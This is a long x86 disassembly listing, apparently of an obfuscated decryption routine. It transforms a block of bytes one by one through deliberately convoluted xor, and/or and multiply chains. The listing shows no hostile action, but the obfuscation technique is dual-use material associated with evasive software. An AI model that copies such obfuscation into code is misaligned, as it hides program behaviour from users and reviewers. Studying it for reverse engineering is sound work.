and dx, 0x2f2f
xor dx, 0xffff
and ax, 0xd0d0
xor ax, 0xffff
xor dx, 0xffff
xor ax, 0xffff
or dx, ax
mov word [0x474db4], dx
mov ax, word [0x474bb6]
mov cx, ax
xor cx, 0xe9d1
xor cx, 0xffff
and cx, 0xe9d1
shl cx, 1
sub cx, 0xe9d1
sub ax, cx
mov word [0x474db6], ax
mov ax, word [0x474bb8]
xor ax, 0xa4a4
mov word [0x474db8], ax
mov dx, word [0x474bba]
mov ax, dx
xor ax, 0xffff
mov cx, ax
xor cx, 0x8af0
xor cx, 0xffff
or ax, 0x8af0
and ax, cx
and dx, 0x750f
mov cx, ax
and cx, dx
xor ax, dx
or cx, ax
xor cx, 0xf1e1
mov word [0x474dba], cx
mov dx, word [0x474bbc]
mov ax, dx
xor ax, 0xffff
mov cx, ax
xor cx, 0x98f3
xor cx, 0xffff
or ax, 0x98f3
and ax, cx
and dx, 0x670c
or ax, dx
mov dx, ax
and dx, dx
xor dx, 0xffff
xor dx, 0xffff
or dx, 0x8818
xor ax, 0xffff
or ax, 0x77e7
xor dx, 0xffff
xor ax, 0xffff
or dx, ax
mov word [0x474dbc], dx
mov ax, word [0x474bbe]
xor ax, 0xa9ab
mov word [0x474dbe], ax
mov al, byte [0x475060]
mov cl, al
xor cl, 0xff
and cl, 0x6f
and al, 0x90
or cl, al
xor cl, 0xd3
mov byte [0x475260], cl
mov al, byte [0x475061]
mov cl, al
xor cl, cl
xor cl, 0xff
mov dl, al
or dl, dl
and dl, cl
xor dl, 0xff
and dl, 0xa6
xor dl, 0xff
and al, 0x59
xor al, 0xff
and dl, al
xor dl, 0xff
mov byte [0x475261], dl
mov al, byte [0x475062]
mov cl, al
xor cl, 0xff
and cl, 0xfb
and al, 4
or cl, al
xor cl, 0xa6
mov byte [0x475262], cl
mov al, byte [0x475063]
and al, 0xff
xor al, 0
or al, 0
mov byte [0x475263], al
mov al, byte [0x475064]
xor al, 0x90
mov byte [0x475264], al
mov al, byte [0x475065]
mov cl, al
xor cl, 0xde
mov dl, cl
xor dl, 0xff
and dl, 0x29
and cl, 0xd6
or dl, cl
xor dl, 0xd6
mov ah, dl
and ah, 0xde
xor ah, 0xff
and dl, 0xde
xor dl, 0xff
xor ah, 0xff
xor dl, 0xff
or ah, dl
shl ah, 1
sub ah, 0xde
sub al, ah
mov byte [0x475265], al
mov al, byte [0x475066]
mov cl, al
xor cl, 0xff
and cl, 0x5b
and al, 0xa4
or cl, al
xor cl, 0xe5
mov byte [str.P_], cl
mov al, byte [0x475067]
mov cl, al
xor cl, 0x7b
xor cl, 0xff
and cl, 0x7b
shl cl, 1
sub cl, 0x7b
xor cl, 0xff
add al, cl
add al, 1
mov byte [0x475267], al
mov al, byte [0x475068]
xor al, 0x1f
mov byte [0x475268], al
mov al, byte [0x475069]
mov cl, al
and cl, 0xd3
shl cl, 1
add al, 0xd3
sub al, cl
mov byte [0x475269], al
mov bl, byte [0x47506a]
mov dl, bl
xor dl, 0x9a
and dl, bl
mov cl, dl
and cl, 0xfd
mov al, dl
xor al, 0xff
and al, 2
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
add bl, 0x65
sub bl, al
mov byte [0x47526a], bl
mov al, byte [0x47506b]
mov cl, al
and cl, 4
shl cl, 1
add al, 4
sub al, cl
mov byte [0x47526b], al
mov bl, byte [0x47506c]
mov dl, bl
and dl, 0xa3
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
add bl, 0xa3
sub bl, al
mov byte [0x47526c], bl
mov al, byte [0x47506d]
mov cl, al
xor cl, 0xd3
xor cl, 0xff
and cl, 0xd3
shl cl, 1
sub cl, 0xd3
sub al, cl
mov byte [0x47526d], al
mov bl, byte [0x47506e]
mov dl, bl
xor dl, 0xdc
xor dl, 0xff
and dl, 0xdc
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
sub al, 0xdc
xor ecx, ecx
sub cl, al
add bl, cl
mov byte [0x47526e], bl
mov al, byte [0x47506f]
xor al, 0x22
mov byte [0x47526f], al
mov dl, byte [0x475070]
mov al, dl
xor al, 0xff
mov cl, dl
xor cl, 0xff
or al, al
xor al, 0xff
mov ah, cl
xor ah, 0xff
xor cl, 0xff
and ah, cl
or al, ah
xor al, 0xff
or al, 0x98
xor al, 0xff
or dl, 0x67
mov ah, dl
xor ah, 0xff
and ah, 0xeb
and dl, 0x14
or ah, dl
xor ah, 0x14
xor al, 0xff
xor ah, 0xff
and ah, 0xff
or ah, 0
and al, ah
mov byte [0x475270], al
mov al, byte [0x475071]
xor al, 0xdd
mov byte [0x475271], al
mov al, byte [0x475072]
xor al, 0xca
mov byte [0x475272], al
mov al, byte [0x475073]
xor al, 0x1e
mov byte [0x475273], al
mov dl, byte [0x475074]
mov al, dl
or al, al
xor al, 0xff
or al, 0xd3
or al, al
xor al, 0xff
xor al, 0xff
and al, 0xff
xor al, 0xff
and al, 0xff
or dl, 0x2c
xor dl, 0xff
mov cl, al
and cl, 0xff
shl cl, 1
add al, 0xff
sub al, cl
xor dl, 0xff
xor al, 0xff
xor dl, 0xff
or al, dl
xor al, 0xff
and al, 0xff
mov byte [0x475274], al
mov cl, byte [0x475075]
mov al, cl
xor al, 0xff
xor al, 0xff
or al, 0xc1
xor al, 0xff
and al, 0xff
and cl, 0xc1
or al, cl
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
and dl, cl
xor dl, 0xff
and dl, 0x11
or al, 0x11
xor al, 0xff
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x475275], dl
mov al, byte [0x475076]
xor al, 0xce
mov byte [0x475276], al
mov al, byte [0x475077]
mov cl, al
xor cl, 0xff
and cl, 8
and al, 0xf7
or cl, al
xor cl, 0x52
mov byte [0x475277], cl
mov al, byte [0x475078]
mov cl, al
xor cl, 0xff
or cl, 0xdb
add cl, 0x25
and al, 0xdb
or cl, al
mov byte [0x475278], cl
mov al, byte [0x475079]
mov cl, al
and cl, 0xa3
shl cl, 1
add al, 0xa3
sub al, cl
mov byte [0x475279], al
mov al, byte [0x47507a]
xor al, 0x50
mov byte [0x47527a], al
mov al, byte [0x47507b]
mov cl, al
xor cl, 0xff
and cl, 0x8c
and al, 0x73
or cl, al
xor cl, 0xd4
mov byte [0x47527b], cl
mov al, byte [0x47507c]
xor al, 0x12
mov byte [0x47527c], al
mov al, byte [0x47507d]
mov dl, al
xor dl, 0xff
and dl, 0xff
or dl, 0
mov cl, dl
xor cl, 0x9b
xor cl, 0xff
or dl, 0x9b
and dl, cl
and al, 0x64
or dl, al
mov byte [0x47527d], dl
mov al, byte [0x47507e]
xor al, 0x18
mov byte [0x47527e], al
mov al, byte [0x47507f]
mov cl, al
and cl, 0x67
shl cl, 1
sub al, 0x8a
add al, 0x67
add al, 0x8a
sub al, cl
mov byte [0x47527f], al
mov cl, byte [0x475080]
mov al, cl
xor al, 0xff
and al, 0x2d
and cl, 0xd2
or al, cl
mov dl, al
or dl, dl
xor dl, 0xff
or dl, 0xe5
xor dl, 0xff
or al, 0x1a
xor al, 0xff
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x475280], dl
mov al, byte [0x475081]
xor al, 0x7c
mov byte [0x475281], al
mov al, byte [0x475082]
mov cl, al
and cl, cl
xor cl, 0xff
xor cl, 0xff
mov ah, cl
xor ah, 0xff
mov dl, ah
and dl, 0x87
and cl, 0x78
or dl, cl
xor dl, 0x6b
or ah, 0x13
xor ah, 0xff
and ah, 0xff
or dl, ah
and al, 0xec
xor al, 0xff
and dl, al
xor dl, 0xff
mov byte [0x475282], dl
mov al, byte [0x475083]
mov cl, al
add cl, 1
mov dl, al
xor dl, 0xff
or dl, 2
add dl, cl
shl dl, 1
mov cl, al
and cl, 2
or al, 2
add cl, al
sub cl, dl
mov byte [0x475283], cl
mov al, byte [0x475084]
mov cl, al
add cl, 1
mov dl, al
xor dl, 0xff
or dl, 0x66
add dl, cl
shl dl, 1
add al, 0x66
mov cl, al
xor cl, 0xff
and cl, dl
xor dl, 0xff
and al, dl
sub al, cl
mov byte [0x475284], al
mov al, byte [0x475085]
xor al, 0xf
mov byte [0x475285], al
mov dl, byte [0x475086]
mov al, dl
xor al, 0xff
mov cl, dl
xor cl, 0xff
or al, cl
mov cl, al
and cl, 0xff
shl cl, 1
add al, 0xff
sub al, cl
or al, 0xc5
mov cl, dl
add cl, 1
xor dl, 0xff
or dl, 0xc5
add dl, cl
xor dl, 0xff
xor dl, 0xff
mov cl, al
xor cl, dl
and cl, al
mov al, cl
xor al, 0xff
and al, 0xd5
and cl, 0x2a
or al, cl
xor al, 0x2a
mov byte [0x475286], al
mov al, byte [0x475087]
mov cl, al
xor cl, 0x9a
xor cl, 0xff
and cl, 0x9a
shl cl, 1
sub cl, 0x9a
sub al, cl
mov byte [0x475287], al
mov dl, byte [0x475088]
mov al, dl
xor al, al
xor al, 0xff
mov cl, dl
or cl, cl
and cl, al
xor cl, 0xff
xor cl, 0xff
mov ah, cl
xor ah, 0xff
mov al, ah
and al, 0xa4
and cl, 0x5b
or al, cl
xor al, 0x1e
or ah, 0x45
xor ah, 0xff
and ah, 0xff
or al, ah
mov ah, dl
xor ah, 0x45
and ah, dl
mov cl, ah
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub ah, cl
and al, ah
xor al, 0xff
mov byte [0x475288], al
mov al, byte [0x475089]
mov cl, al
xor cl, 0x59
xor cl, 0xff
and cl, 0x59
shl cl, 1
sub cl, 0x59
sub al, cl
mov byte [0x475289], al
mov al, byte [0x47508a]
mov cl, al
and cl, 0x77
shl cl, 1
add al, 0x77
sub al, cl
mov byte [0x47528a], al
mov al, byte [0x47508b]
xor al, 0xe6
mov byte [0x47528b], al
mov al, byte [0x47508c]
mov cl, al
and cl, 0x24
shl cl, 1
add al, 0x24
sub al, cl
mov byte [0x47528c], al
mov al, byte [0x47508d]
xor al, 0xb
mov byte [0x47528d], al
mov cl, byte [0x47508e]
mov al, cl
xor al, 0xff
and al, 0xe7
mov dl, cl
xor dl, 0xff
or dl, 0xe7
and cl, 0x18
xor cl, 0xff
and dl, cl
xor dl, 0xff
mov ah, al
xor ah, 0xff
mov bl, dl
xor bl, 0xff
mov dh, ah
and dh, 0x48
and al, 0xb7
mov cl, bl
and cl, 0x48
and dl, 0xb7
or dh, al
or cl, dl
xor dh, cl
or ah, bl
xor ah, 0xff
and ah, 0xff
or dh, ah
mov byte [0x47528e], dh
mov al, byte [0x47508f]
xor al, 0xa8
mov byte [0x47528f], al
mov al, byte [0x475090]
mov dl, al
and dl, dl
xor dl, 0xff
xor dl, 0xff
or dl, 0x73
and al, 0x73
xor al, 0xff
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x475290], dl
mov al, byte [0x475091]
mov dl, al
or dl, dl
xor dl, 0xff
or dl, 0x32
xor dl, 0xff
xor al, 0xff
and al, 0x32
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x475291], dl
mov al, byte [0x475092]
mov cl, al
and cl, 0xd9
shl cl, 1
add al, 0xd9
sub al, cl
mov byte [str.__a], al
mov al, byte [0x475093]
mov cl, al
and cl, 0x39
shl cl, 1
add al, 0x39
sub al, cl
mov byte [0x475293], al
mov al, byte [0x475094]
xor al, 0xb0
mov byte [0x475294], al
mov dl, byte [0x475095]
mov cl, dl
xor cl, 0xff
mov al, dl
xor al, 0xff
or cl, al
mov al, cl
xor al, 0xff
xor cl, 0xff
and al, cl
xor al, 0xff
and al, 0xff
xor al, 0xff
and al, 0xff
and al, al
xor al, 0xff
and al, 0xe5
xor al, 0xff
or dl, dl
xor dl, 0xff
or dl, 0xe5
xor dl, 0xff
mov cl, dl
xor cl, 0xff
and cl, 0x86
and dl, 0x79
or cl, dl
xor cl, 0x79
xor al, 0xff
xor cl, 0xff
or al, cl
xor al, 0xff
and al, 0xff
xor al, 0xff
mov byte [0x475295], al
mov al, byte [0x475096]
mov cl, al
xor cl, 0x34
xor cl, 0xff
and cl, 0x34
shl cl, 1
sub cl, 0x34
sub al, cl
mov byte [0x475296], al
mov dl, byte [0x475097]
mov al, dl
or al, al
xor al, 0xff
and al, 0xff
or al, 0
xor al, 0xff
and al, 0xea
and dl, dl
xor dl, 0xff
and dl, 0x15
xor dl, 0xff
xor dl, 0xff
xor al, 0xff
mov ah, dl
xor ah, 0xff
xor dl, 0xff
or ah, dl
xor ah, 0xff
or ah, 0
and ah, 0xff
xor ah, 0xff
xor ah, 0xff
mov cl, al
xor cl, ah
and cl, al
mov byte [0x475297], cl
mov al, byte [0x475098]
xor al, 0x7b
mov byte [0x475298], al
mov al, byte [0x475099]
xor al, 0xc
mov byte [0x475299], al
mov al, byte [0x47509a]
mov cl, al
and cl, cl
xor cl, 0xff
mov dl, cl
xor dl, 0xa2
and dl, cl
xor dl, 0xff
xor al, 0xff
or al, 0x5d
xor al, 0xff
and al, 0xff
xor al, 0xff
and dl, dl
xor dl, 0xff
xor dl, 0xff
or dl, 0
and dl, 0xff
xor dl, 0xff
xor al, 0xff
and al, 0xff
or al, 0
or dl, al
mov byte [0x47529a], dl
mov al, byte [0x47509b]
xor al, 0xbc
mov byte [str._fA_], al
mov al, byte [0x47509c]
xor al, 0xc8
mov byte [0x47529c], al
mov al, byte [0x47509d]
xor al, 0xc6
mov byte [0x47529d], al
mov al, byte [0x47509e]
mov cl, al
and cl, 0xf1
shl cl, 1
add al, 0xf1
sub al, cl
mov byte [0x47529e], al
mov al, byte [0x47509f]
mov cl, al
or cl, cl
xor cl, 0xff
mov dl, cl
xor dl, 0xff
and dl, 0x1d
and cl, 0xe2
or dl, cl
xor dl, 0xe2
and dl, 0x52
xor al, 0xff
and al, 0xad
xor dl, 0xff
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub al, cl
and dl, al
mov byte [0x47529f], dl
mov al, byte [0x4750a0]
mov cl, al
and cl, 0xf5
shl cl, 1
add al, 0xf5
sub al, 0x84
sub al, cl
add al, 0x84
mov byte [0x4752a0], al
mov al, byte [0x4750a1]
mov dl, al
and dl, dl
xor dl, 0xff
and dl, 0xd2
mov cl, dl
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub dl, cl
and al, 0x2d
xor al, 0xff
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x4752a1], dl
mov al, byte [0x4750a2]
xor al, 0x54
mov byte [0x4752a2], al
mov al, byte [0x4750a3]
mov cl, al
xor cl, 0x1b
xor cl, 0xff
and cl, 0x1b
shl cl, 1
sub cl, 0x1b
sub al, cl
mov byte [0x4752a3], al
mov al, byte [0x4750a4]
xor al, 0xdd
mov byte [0x4752a4], al
mov al, byte [0x4750a5]
mov cl, al
and cl, 0x29
shl cl, 1
add al, 0x29
sub al, cl
mov byte [0x4752a5], al
mov al, byte [0x4750a6]
xor al, 0x66
mov byte [0x4752a6], al
mov al, byte [0x4750a7]
mov cl, al
and cl, 0xce
shl cl, 1
add al, 0xce
sub al, cl
mov byte [0x4752a7], al
mov dl, byte [0x4750a8]
mov al, dl
xor al, 0xff
mov cl, dl
xor cl, 0xff
or al, cl
xor al, 0xff
or al, 0xc1
xor dl, 0xff
mov cl, dl
and cl, 0x3e
xor cl, 0xff
add dl, 0x3e
add dl, 1
add dl, cl
and al, dl
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub al, cl
mov byte [0x4752a8], al
mov al, byte [0x4750a9]
mov cl, al
xor cl, 0x27
xor cl, 0xff
and cl, 0x27
shl cl, 1
sub cl, 0x27
mov dl, al
sub dl, cl
xor dl, 0xff
and dl, 0x27
shl dl, 1
sub dl, 0x27
sub al, dl
mov byte [0x4752a9], al
mov al, byte [0x4750aa]
xor al, 0xf0
mov byte [0x4752aa], al
mov al, byte [0x4750ab]
xor al, 0xc4
mov byte [0x4752ab], al
mov al, byte [0x4750ac]
xor al, 0x8a
mov byte [0x4752ac], al
mov al, byte [0x4750ad]
mov cl, al
xor cl, 0xe1
xor cl, 0xff
and cl, 0xe1
shl cl, 1
sub cl, 0xe1
sub al, cl
mov byte [0x4752ad], al
mov al, byte [0x4750ae]
xor al, 1
mov byte [0x4752ae], al
mov al, byte [0x4750af]
xor al, 0x3d
mov byte [0x4752af], al
mov al, byte [0x4750b0]
mov dl, al
and dl, dl
xor dl, 0xff
xor dl, 0xff
or dl, 0
xor dl, 0xff
or dl, 0
and dl, 0x1d
and al, 0xe2
or dl, al
mov byte [0x4752b0], dl
mov dl, byte [0x4750b1]
mov cl, dl
xor cl, 0xff
mov al, cl
and al, 0x90
xor al, 0xff
xor cl, 0xff
or cl, 0x6f
xor al, 0xff
xor cl, 0xff
or al, cl
mov cl, dl
xor cl, 0x90
and cl, dl
or al, cl
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
or dl, cl
and dl, 0xe5
xor dl, 0xff
and al, 0x1a
xor al, 0xff
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x4752b1], dl
mov al, byte [0x4750b2]
xor al, 0xfc
mov byte [0x4752b2], al
mov al, byte [0x4750b3]
mov cl, al
xor cl, 0xff
and cl, 0x26
and al, 0xd9
or cl, al
xor cl, 0xab
mov byte [0x4752b3], cl
mov al, byte [0x4750b4]
xor al, 0x1b
mov byte [0x4752b4], al
mov al, byte [0x4750b5]
xor al, 0xd
mov byte [0x4752b5], al
mov al, byte [0x4750b6]
xor al, 0x33
mov byte [0x4752b6], al
mov al, byte [0x4750b7]
mov cl, al
and cl, 0x66
shl cl, 1
mov dl, al
and dl, 0x66
shl dl, 1
xor al, 0x66
add al, dl
sub al, cl
mov byte [0x4752b7], al
mov al, byte [0x4750b8]
or al, 0
xor al, 0xff
xor al, 0xff
and al, 0xff
mov byte [0x4752b8], al
mov al, byte [0x4750b9]
mov cl, al
xor cl, 0xff
and cl, 0x83
and al, 0x7c
or cl, al
xor cl, 0x2d
mov byte [0x4752b9], cl
mov al, byte [0x4750ba]
xor al, 0x1f
mov byte [0x4752ba], al
mov dl, byte [0x4750bb]
mov al, dl
xor al, 0xff
mov cl, dl
and cl, cl
xor cl, 0xff
and cl, 0xff
xor cl, 0xff
and cl, 0xff
xor cl, 0xff
or al, cl
xor al, 0xff
and al, 0xff
or al, 0
or al, 0xad
mov ah, dl
and ah, 0xad
xor ah, 0xff
and dl, 0xad
xor dl, 0xff
xor ah, 0xff
xor dl, 0xff
or ah, dl
mov cl, ah
xor cl, 0xff
and cl, 0x74
and ah, 0x8b
or cl, ah
xor cl, 0x8b
and al, cl
mov cl, al
xor cl, 0xff
xor al, 0xff
and cl, al
or cl, 0
xor cl, 0xff
or cl, 0
xor cl, 0xff
mov byte [0x4752bb], cl
mov al, byte [0x4750bc]
mov cl, al
and cl, 0xff
shl cl, 1
mov dl, al
add dl, 0xff
sub dl, cl
and dl, 0x7b
mov cl, al
add cl, 1
xor al, 0xff
or al, 0x84
add al, cl
mov cl, dl
and cl, al
xor dl, al
or cl, dl
mov byte [0x4752bc], cl
mov al, byte [0x4750bd]
mov cl, al
xor cl, 0xff
and cl, 0x4d
mov dl, al
xor dl, 0x4d
and dl, al
mov al, cl
xor al, 0xff
xor cl, 0xff
or al, cl
mov cl, dl
xor cl, 0xff
xor dl, 0xff
or cl, dl
xor al, 0xff
xor cl, 0xff
or al, cl
mov byte [0x4752bd], al
mov al, byte [0x4750be]
mov cl, al
or cl, cl
xor cl, 0xff
or cl, 1
xor cl, 0xff
or al, 0xfe
xor al, 0xff
or cl, al
xor cl, 0xff
mov byte [0x4752be], cl
mov dl, byte [0x4750bf]
mov al, dl
and al, al
mov cl, dl
xor cl, cl
or al, cl
xor al, 0xff
xor al, 0xff
xor al, 0xff
or al, 0x47
xor al, 0xff
and al, 0xff
xor dl, 0xff
and dl, 0x47
or al, dl
xor al, 0xff
and al, 0xff
or al, 0
mov byte [0x4752bf], al
mov al, byte [0x4750c0]
xor al, 0x9d
mov byte [0x4752c0], al
mov al, byte [0x4750c1]
mov cl, al
xor cl, 0xff
and cl, 0x26
mov dl, al
xor dl, 0xd9
xor dl, 0xff
or al, 0xd9
and al, dl
or cl, al
mov byte [0x4752c1], cl
mov cl, byte [0x4750c2]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
or al, dl
xor al, 0xff
or al, 0xb
xor cl, 0xff
or cl, 0xf4
and al, cl
xor al, 0xff
mov byte [0x4752c2], al
mov al, byte [0x4750c3]
mov cl, al
and cl, 0xcd
shl cl, 1
add al, 0xcd
sub al, cl
mov byte [str.cYSh], al
mov al, byte [0x4750c4]
mov cl, al
add cl, 1
mov dl, al
xor dl, 0xff
or dl, 0x3c
add dl, cl
shl dl, 1
sub al, 0x53
add al, 0x3c
add al, 0x53
sub al, dl
mov byte [0x4752c4], al
mov dl, byte [0x4750c5]
mov al, dl
or al, al
xor al, 0xff
or al, 0x1d
and al, al
xor al, 0xff
xor al, 0xff
or al, 0
xor al, 0xff
or al, 0
xor dl, 0xff
mov cl, dl
xor cl, 0x1d
xor cl, 0xff
or dl, 0x1d
and dl, cl
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub al, cl
or dl, dl
xor dl, 0xff
or dl, 0
xor dl, 0xff
xor dl, 0xff
and dl, 0xff
xor dl, 0xff
mov cl, al
xor cl, dl
and cl, al
mov byte [0x4752c5], cl
mov al, byte [0x4750c6]
xor al, 0xe
mov byte [0x4752c6], al
mov al, byte [0x4750c7]
xor al, 0x89
mov byte [0x4752c7], al
mov al, byte [0x4750c8]
xor al, 0x8b
mov byte [0x4752c8], al
mov al, byte [str.uRra]
mov cl, al
xor cl, 0xff
and cl, 0x78
and al, 0x87
or cl, al
mov byte [0x4752c9], cl
mov al, byte [0x4750ca]
mov cl, al
and cl, 0xff
shl cl, 1
mov dl, al
add dl, 0xff
sub dl, cl
and dl, 0x5f
mov cl, al
add cl, 1
xor al, 0xff
or al, 0xa0
add al, cl
or dl, al
mov byte [0x4752ca], dl
mov dl, byte [0x4750cb]
mov al, dl
xor al, 0xff
mov cl, dl
xor cl, 0xff
and al, cl
xor al, 0xff
and al, 0xff
or al, 0
xor al, 0xff
and al, 0x31
mov cl, dl
add cl, 1
xor dl, 0xff
or dl, 0xce
add dl, cl
mov ah, al
xor ah, 0xff
mov cl, dl
xor cl, 0xff
and ah, cl
or al, dl
xor al, 0xff
xor ah, 0xff
xor al, 0xff
and ah, al
mov al, ah
xor al, 0xff
and al, 2
and ah, 0xfd
or al, ah
xor al, 0x4c
mov byte [0x4752cb], al
mov al, byte [0x4750cc]
mov cl, al
xor cl, 0xff
and cl, 0x4b
and al, 0xb4
or cl, al
xor cl, 0x27
mov byte [0x4752cc], cl
mov al, byte [0x4750cd]
xor al, 0x1c
mov byte [0x4752cd], al
mov al, byte [0x4750ce]
mov dl, al
xor dl, 0x96
mov cl, dl
and cl, 0xff
shl cl, 1
add dl, 0xff
sub dl, cl
and dl, 0x96
shl dl, 1
sub dl, 0x96
sub al, dl
mov byte [0x4752ce], al
mov al, byte [0x4750cf]
mov ah, al
xor ah, 0xff
mov cl, al
xor cl, 0xff
and cl, 0xff
or cl, 0
mov dl, ah
and dl, cl
xor dl, 0xff
xor ah, 0xff
xor cl, 0xff
or ah, cl
xor dl, 0xff
xor ah, 0xff
or dl, ah
mov cl, dl
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub dl, cl
and dl, 0x82
or al, 0x82
xor al, 0xff
or dl, al
xor dl, 0xff
mov byte [0x4752cf], dl
mov al, byte [0x4750d0]
xor al, 0xde
mov byte [0x4752d0], al
mov al, byte [0x4750d1]
mov cl, al
and cl, 0xd4
shl cl, 1
add al, 0xd4
sub al, cl
mov byte [0x4752d1], al
mov al, byte [0x4750d2]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
or dl, cl
xor dl, 0xff
or dl, 0x39
and al, 0x39
xor al, 0xff
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x4752d2], dl
mov al, byte [0x4750d3]
mov cl, al
xor cl, 0xff
and cl, 0xdc
and al, 0x23
or cl, al
xor cl, 0x66
mov byte [0x4752d3], cl
mov al, byte [0x4750d4]
xor al, 5
mov byte [0x4752d4], al
mov cl, byte [0x4750d5]
mov al, cl
xor al, 0xff
and al, 0xff
or al, 0
and al, 0x21
mov dl, cl
xor dl, 0x21
and dl, cl
mov cl, dl
xor cl, 0xff
mov ah, al
and ah, cl
mov cl, al
xor cl, dl
add al, cl
sub al, ah
xor al, 0xb3
mov byte [0x4752d5], al
mov bl, byte [0x4750d6]
mov dl, bl
xor dl, 0x33
xor dl, 0xff
and dl, 0x33
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
sub al, 0x33
xor ecx, ecx
sub cl, al
add bl, cl
mov byte [0x4752d6], bl
mov al, byte [0x4750d7]
xor al, 0xf7
mov byte [0x4752d7], al
mov al, byte [0x4750d8]
mov cl, al
xor cl, 0xff
and cl, 0xb
and al, 0xf4
or cl, al
mov byte [0x4752d8], cl
mov dl, byte [0x4750d9]
mov al, dl
and al, al
or al, al
xor al, 0xff
or al, 0
xor al, 0xff
xor al, 0xff
and al, 0xff
or al, al
xor al, 0xff
xor al, 0xff
and al, 0xff
xor al, 0xff
and al, 0xff
or al, 0xa0
and dl, 0xa0
xor dl, 0xff
and al, dl
xor al, 0xff
mov byte [0x4752d9], al
mov al, byte [0x4750da]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
or dl, cl
xor dl, 0xff
or dl, 0x58
xor al, 0xff
or al, 0xa7
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x4752da], dl
mov bl, byte [0x4750db]
mov dl, bl
xor dl, 0x32
mov al, dl
xor al, 0xff
xor al, 0xff
and al, 0xff
shl al, 1
sub al, 0xff
sub dl, al
mov al, dl
xor al, 0x32
xor al, 0xff
or dl, 0x32
and dl, al
mov cl, dl
and cl, 0xfd
mov al, dl
xor al, 0xff
and al, 2
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
mov cl, al
xor cl, 0x32
and al, 0xcd
shl al, 1
sub al, cl
sub bl, al
mov byte [0x4752db], bl
mov al, byte [0x4750dc]
mov cl, al
and cl, 0xb
shl cl, 1
add al, 0xb
sub al, cl
mov byte [0x4752dc], al
mov al, byte [0x4750dd]
xor al, 0xd8
mov byte [0x4752dd], al
mov bl, byte [0x4750de]
mov dl, bl
xor dl, 0xc7
xor dl, 0xff
xor dl, 0xff
or dl, 0x38
xor dl, 0xff
and dl, 0xff
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
add al, 0x38
add al, 1
add bl, 0x59
sub bl, al
sub bl, 0x59
mov byte [0x4752de], bl
mov al, byte [0x4750df]
mov cl, al
and cl, 0x4b
shl cl, 1
add al, 0x4b
mov dl, al
xor dl, cl
xor cl, 0xff
and al, cl
shl al, 1
sub al, dl
mov byte [0x4752df], al
mov al, byte [0x4750e0]
xor al, 0x91
mov byte [0x4752e0], al
mov al, byte [0x4750e1]
xor al, 0xc5
mov byte [str.__J2], al
mov al, byte [0x4750e2]
xor al, 0xe6
mov byte [0x4752e2], al
mov al, byte [0x4750e3]
xor al, 2
mov byte [0x4752e3], al
mov al, byte [0x4750e4]
xor al, 0xb9
mov byte [0x4752e4], al
mov al, byte [0x4750e5]
mov cl, al
xor cl, 0xff
and cl, 0x70
and al, 0x8f
or cl, al
xor cl, 0xa7
mov byte [0x4752e5], cl
mov al, byte [0x4750e6]
mov cl, al
xor cl, 0xff
and cl, 0x30
and al, 0xcf
or cl, al
mov byte [0x4752e6], cl
mov al, byte [0x4750e7]
xor al, 0x58
mov byte [0x4752e7], al
mov al, byte [0x4750e8]
xor al, 0x81
mov byte [0x4752e8], al
mov al, byte [0x4750e9]
xor al, 0x51
mov byte [0x4752e9], al
mov al, byte [0x4750ea]
mov cl, al
xor cl, 0xff
and cl, 0xd
and al, 0xf2
mov dl, cl
and dl, al
xor cl, al
or dl, cl
xor dl, 0xc6
mov byte [0x4752ea], dl
mov al, byte [0x4750eb]
mov dl, al
xor dl, 0xbb
xor dl, 0xff
and dl, 0xbb
shl dl, 1
add dl, 0xa6
sub dl, 0xbb
sub dl, 0xa6
mov cl, al
xor cl, dl
xor dl, 0xff
and al, dl
shl al, 1
sub al, cl
mov byte [0x4752eb], al
mov cl, byte [0x4750ec]
mov al, cl
and al, al
xor al, 0xff
and al, 0x89
xor al, 0xff
mov ah, cl
xor ah, 0xff
and ah, 0xd0
and cl, 0x2f
or ah, cl
xor ah, 0x2f
mov dl, ah
and dl, 0x89
xor ah, 0x89
or dl, ah
or al, al
xor al, 0xff
xor al, 0xff
and al, 0xff
or al, 0
xor al, 0xff
xor dl, 0xff
or al, dl
mov byte [str._Z_f], al
mov al, byte [0x4750ed]
mov cl, al
and cl, cl
xor cl, 0xff
xor cl, 0xff
or cl, 0xd9
and al, 0xd9
xor al, 0xff
and cl, al
xor cl, 0xff
mov byte [0x4752ed], cl
